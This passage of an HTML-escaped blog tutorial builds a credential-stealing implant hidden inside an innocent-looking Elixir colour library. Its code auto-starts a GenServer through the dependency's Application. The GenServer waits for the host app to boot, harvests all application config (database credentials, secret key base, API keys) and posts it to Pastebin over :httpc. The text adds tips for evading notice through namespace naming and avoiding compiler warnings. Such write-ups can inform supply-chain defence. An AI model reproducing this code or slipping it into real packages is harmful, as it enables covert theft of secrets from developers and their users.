&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, the point of this exercise is to add nastiness to an otherwise harmless-looking library, so let&apos;s do that.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#starting-the-attack-process&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;starting-the-attack-process&quot;&gt;&lt;/a&gt;Starting the Attack Process&lt;/h3&gt;
&lt;p&gt;For our maliciousness, we will take advantage of the fact that Elixir starts the GenServers of dependencies that define an &lt;code&gt;Application&lt;/code&gt;. So, when the main app starts, the processes of all dependencies start as well. This is great for spinning up a GenServer that steals all your secrets, so let&apos;s do it.&lt;/p&gt;
&lt;p&gt;This is how the application of our library would look like:&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Attack.Application&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Application&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;impl &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;start&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;_type&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_args&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;children&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Attack.Worker&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;strategy: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:one_for_one&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;name: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Attack.Supervisor&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Supervisor&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;start_link&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;children&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You might notice that we renamed the &lt;code&gt;Colors&lt;/code&gt; namespace to &lt;code&gt;Attack&lt;/code&gt; here. This way, autocomplete will not expose our maliciousness. If a user wants to use our library, they will most likely type &lt;code&gt;Colors.&lt;/code&gt; and hit &lt;code&gt;tab&lt;/code&gt; to see all possible functions. In that case, we don&apos;t want that list to show our nasty functions as well, so we put all our malicious modules under the &lt;code&gt;Attack&lt;/code&gt; namespace.&lt;/p&gt;
&lt;p&gt;Next, let&apos;s look at the module that will execute the attack:&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Attack.Worker&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;GenServer&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;require&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Logger&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;start_link&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;init_args&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;GenServer&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;start_link&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;__MODULE__&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;init_args&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;init&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;_args&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;schedule_attack&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:initial_state&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;schedule_attack&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Process&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;send_after&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;self&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:attack&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;60_000&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_info&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:attack&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;state&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;# This is where we&amp;#39;ll steal the secrets.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:noreply&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;state&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The module is simple: It defines a GenServer that starts up and schedules a message called &lt;code&gt;:attack&lt;/code&gt; for 60 seconds in the future. The reason why we delay the attack is that we want to wait until the entire application - including Ecto Repos - is started. This way, we know that the application started successfully and the configuration is correct.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#stealing-your-application-config&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;stealing-your-application-config&quot;&gt;&lt;/a&gt;Stealing your Application Config&lt;/h3&gt;
&lt;p&gt;The first thing that we&apos;ll do is steal the entire application configuration, including all loaded environment variables. This is how:&lt;/p&gt;
&lt;pre id=&quot;code-block-4&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_info&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:attack&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;state&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;repos&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;apply&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Repo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:all_running&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Enum&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;each&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;repos&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&amp;&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;steal_config&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:noreply&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;state&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;steal_config&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;repo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;app&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Application&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_application&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;repo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;config&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Application&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_all_env&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;app&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;# This is where we&amp;#39;ll post the config to Pastebin later.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;First, we want to read out the config for the running application. There&apos;s no way (that I know) of finding out the &quot;parent&quot; application that uses a library, so we have to create a workaround. First, we fetch all running &lt;code&gt;Ecto.Repos&lt;/code&gt;. But we don&apos;t want our library to depend on Ecto. The user might get suspicious why our color-converting library needs Ecto. But if we call &lt;code&gt;Ecto.Repo.all_running()&lt;/code&gt; here, the compiler will throw a warning that &lt;code&gt;Ecto.Repo&lt;/code&gt; is undefined. So, we use the &lt;code&gt;apply/3&lt;/code&gt; function instead. This way, we can still call &lt;code&gt;Ecto.Repo.all_running()&lt;/code&gt; at runtime, but the compiler won&apos;t complain.&lt;/p&gt;
&lt;p&gt;Next, we iterate through all running repos and get the application that is running them. This way, we can read the application&apos;s config using &lt;code&gt;Application.get_all_env(app)&lt;/code&gt;. Now, we have all configurations of the running app. This will include everything from database credentials to the secret key base of a Phoenix application to potentially secret API keys for interacting with external services. Great!&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#posting-the-secrets-to-pastebin&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;posting-the-secrets-to-pastebin&quot;&gt;&lt;/a&gt;Posting the Secrets to Pastebin&lt;/h3&gt;
&lt;p&gt;Now, stealing the application config doesn&apos;t help us if we can&apos;t get it off the server and onto a platform where we can read it. Let&apos;s use &lt;a href=&quot;https://pastebin.com&quot;&gt;Pastebin&lt;/a&gt; for that. Pastebin lets you create text files with a simple API call. Now, we could also send the configuration back to a server under our control. This is called a &lt;a href=&quot;https://www.trendmicro.com/vinfo/us/security/definition/command-and-control-server#:~:text=A%20command%2Dand%2Dcontrol%20%5B,data%20from%20a%20target%20network.&quot;&gt;Command and Control (CnC)&lt;/a&gt; server. For this purpose though, Pastebin will suffice.&lt;/p&gt;
&lt;p&gt;For posting the config to Pastebin, we don&apos;t want to depend on a third-party library that might give us away. Therefore, we will use erlang&apos;s built-in &lt;code&gt;:httpc&lt;/code&gt; client. It allows us to make HTTP requests to Pastebin. Here&apos;s how:&lt;/p&gt;
&lt;pre id=&quot;code-block-5&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;send_secret&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;secret&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;:inets&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;start&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;url&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;https://pastebin.com/api/api_post.php&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;payload&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;api_dev_key=MY_DEV_KEY&amp;api_option=paste&amp;api_paste_private=2&amp;api_user_key=MY_USER_KEY&amp;api_paste_code=&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;inspect&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;secret&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;:httpc&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;request&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:post&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;url&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;c&quot;application/x-www-form-urlencoded&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;payload&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see, &lt;code&gt;:httpc&lt;/code&gt; is pretty low-level, but trust me when I say that the code above makes a &lt;code&gt;POST&lt;/code&gt; request to Pastebin with some form data. The parameters that we send here are:&lt;/p&gt;
&lt;ul&gt;
